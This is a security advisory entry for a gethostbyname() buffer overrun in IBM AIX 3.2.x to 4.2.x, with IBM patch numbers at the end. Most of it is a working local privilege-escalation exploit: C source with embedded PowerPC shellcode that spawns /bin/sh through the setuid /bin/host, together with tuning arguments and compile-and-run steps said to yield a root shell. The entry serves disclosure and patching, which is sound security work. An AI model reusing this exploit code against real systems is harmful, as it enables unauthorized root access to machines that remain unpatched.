COMMAND
gethostbyname() and /bin/host
SYSTEMS AFFECTED
AIX 3.2.x, 4.1.x, 4.2.x
PROBLEM
When a program on a UNIX system wants to look up a host's name
and obtain its network address, it uses a library function called
"gethostbyname()." This function takes a host name as a
parameter, contacts the Domain Name System (or another source of
information), and returns the host's address(es) to the program.
This saves the programmer the trouble of writing the complex code
to interface with the name server.
Under certain conditions, the "gethostbyname()" library function
provided with IBM AIX versions 3.2.x, 4.1.x, and 4.2.x can
encounter a buffer overrun that allows information on the program
stack to be corrupted.
Many set-user-id and set-group-id programs, as well as many
network programs running with super-user privileges, make use of
the "gethostbyname()" library function. Corrupting the program
stack of these programs may allow arbitrary user-provided code to
be executed inadvertently. If successfully exploited, this
buffer overrun condition could be used to gain super-user access
to the system. Such an action could be initiated over the
network from a remote system, or by a user on the local system.
Penetration through a firewall may also be possible, depending on
which services and applications are permitted by the firewall
system.
Georgi Guninski wrote and tested this program on AIX 4.1 for
PowerPC 601 and 604 and it started a root shell on 5 machines. It
exploits a buffer overflow in gethostbyname() (see IBM advisory)
and the fact that /bin/host is +s. Probably it may be modified to
work with rlogin,ping,traceroute and others. Possibly this hole
may be exploited remotely.
If the program gives you 'Segmentation fault' or 'Illegal
instruction', then try at least the following arguments:(string
length,offset,kludge1,kludge2)
78 40 1 1
78 40 1 0
78 40 0 0
78 40 0 1
If you get coredump, examine the registers. The higher 16 bits
of TOC and IAR(CTR) should be the values, printed by the program
(the address of execv() ). The last two arguments are added to
correct some difference (because of carry?,cache? ???).
Compile with: cc -g test.c
try:
./a.out 78 40 1 1
./a.out 78 40 0 0
./a.out 78 40 0 1
./a.out 78 40 0 0
And here comes test.c finally.
*/
#include <stdio.h>
#include <stdlib.h>
/*Used only for disassembling*/
void sh2()
{
int junk[0x100];
int s[2];
int toc;
int ctr;
junk[0x100]=0x11;
toc=0xf0192c48;
ctr=0xd0024c0c;
s[0]=0x2f62696e;
s[1]=0x2f736800;
execv(&s,0);
}
/*Used for testing*/
void buggy(char *s)
{
char a[4];
unsigned int junk[150];
strcpy(a,s);
puts("Over");
if(junk[20])
puts("P");
}
/*The program*/
main(int argc,char **argv)
{
unsigned int junk[300];
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x30632c48 , 0x90610440 , 0x3c60d002 , 0x30634c0c ,
0x90610444 , 0x3c602f62 , 0x3063696e , 0x90610438 ,
0x3c602f73 , 0x30636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6 mfspr r0,LR
9421fbb0 stu SP,-1104(SP) --get some stack
90010458 st r0,1112(SP)
3c60f019 cau r3,r0,0xf019 --CTR changed at runtime
30632c48 ai r3,r3,11336 --CTR changed at runtime should be
kludged
90610440 st r3,1088(SP)
3c60d002 cau r3,r0,0xd002 --TOC changed at runtime
30634c0c ai r3,r3,19468 --TOC changed at runtime should be
kludged
90610444 st r3,1092(SP)
3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'
3063696e ai r3,r3,26990
90610438 st r3,1080(SP)
3c602f73 cau r3,r0,0x2f73
30636801 ai r3,r3,26625
3863ffff addi r3,r3,-1
9061043c st r3,1084(SP) --terminate /bin/sh with 0
30610438 ai r3,SP,1080
7c842278 xor r4,r4,r4 --argv=NULL
80410440 lwz RTOC,1088(SP) --prepare to jump
80010444 lwz r0,1092(SP) --jump
7c0903a6 mtspr CTR,r0
4e800420 bctr --jump
*/
unsigned int buf[600];
unsigned int i,nop,mn;
int max;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
int carry1=1;
int carry2=1;
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if (argv[3]) carry1=atoi(argv[3]);
if (argv[4]) carry2=atoi(argv[4]);
max=atoi(argv[1]);
if(max==0) max=78;
mn=40;
if(argv[2])
mn=atoi(argv[2]);
*((unsigned short *)code +9)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code +7)=carry1+(unsigned short) ((toc >> 16) &
0x0000ffff);
/* 1+ because of CARRYFLAG? CACHE?*/
*((unsigned short *)code +15)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code +13)=carry2+(unsigned short) ((eco >> 16) &
0x0000ffff);
puts("Test AIX!");
puts("Discovered and coded by G.G.");
printf("TOC:%0x,CTR:%0x\n",toc,eco);
junk[50]=1;
for(nop=0;nop<mn;nop++)
buf[nop]=0x4ffffb82;/*nop*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen(code)/4-1;
while(i++<max)
{
buf[i]=(unsigned) &buf[nop];
}
buf[i]=0;
for(i=0;i<nop;i++)
buf[i]=(unsigned)&buf[nop];
/**?????????????????***/
for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];
puts("Start...");/*Here we go*/
i=execl("/bin/host","host",(char*)&buf,0);
puts((char*)buf);
printf("%p\n",&buf[nop]);
if (!junk[50]) puts("s");
printf("OK\n");
}
SOLUTION
IBM has released patch for the problem.
AIX 3.2.x
APAR - IX60927 (PTF - U443452,U444191,U444206,U444213,U444233,U444244)
AIX 4.1.x
APAR - IX61019
The bos.rte.libc fileset should be 4.1.4.18 or later.
AIX 4.2.x
APAR - IX62144
The bos.rte.libc fileset should be 4.2.0.7 or later.